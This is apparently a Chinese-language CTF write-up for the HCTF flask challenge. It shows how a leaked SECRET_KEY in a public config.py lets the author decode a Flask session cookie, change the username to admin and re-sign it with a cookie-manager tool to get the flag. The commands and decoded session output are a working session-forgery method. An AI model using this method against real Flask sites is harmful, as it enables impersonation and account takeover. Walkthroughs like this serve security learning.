国际惯例先查看源码,看到注释提示
<!-- you are not admin -->
那么就先去登录admin试试,理所当然的密码错误。
然后自己去注册一个账号,登进去看看有没有什么其他的漏洞,发现有个post的地方
但是尝试随便提交点内容,结果哪都没显示。。。
又看到有个change password,感觉漏洞应该在这了,但是依然没有。但是在修改密码的页面中还有一段提示
<!-- https://github.com/woadsl1234/hctf_flask/ -->
发现是网站的源码,并且发现有个config.py
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
很明显,secret_key
是关键,在请求网页的cookie中,可以看到有一段session,网站又是flask写的,经过网上查阅信息之后,flask的cookie可以直接解码出来明文,然后将其中的用户名修改,再通过secret_key加密后替换原本的session就可以达到伪造身份的目的。
正好github上有现成的工具:https://github.com/noraj/flask-session-cookie-manager
python3 flask_session_cookie_manager3.py decode -c session -s secret_key
得到解密后的字符串:
{u'csrf_token': 'ba025e7df99d1a9dbda42cccfc0763157ced9158', u'user_id': u'10', u'name': u'123', u'image': 'X1zH', u'_fresh': True, u'_id': '5c088aa955a8b955c6e9b1875fc9bdfc6a45872c6d77723355188722797b8e1ae113e86a30a54450a9b08a90a8d7c0d692b419bc6ed1b9b64574554769fda307'}
将其中的name的值改为admin,再使用secret_key加密:
python3 flask_session_cookie_manager3.py encode -c session -s secret_key
得到修改后的session后,去替换cookie中原本的session,即可得到flag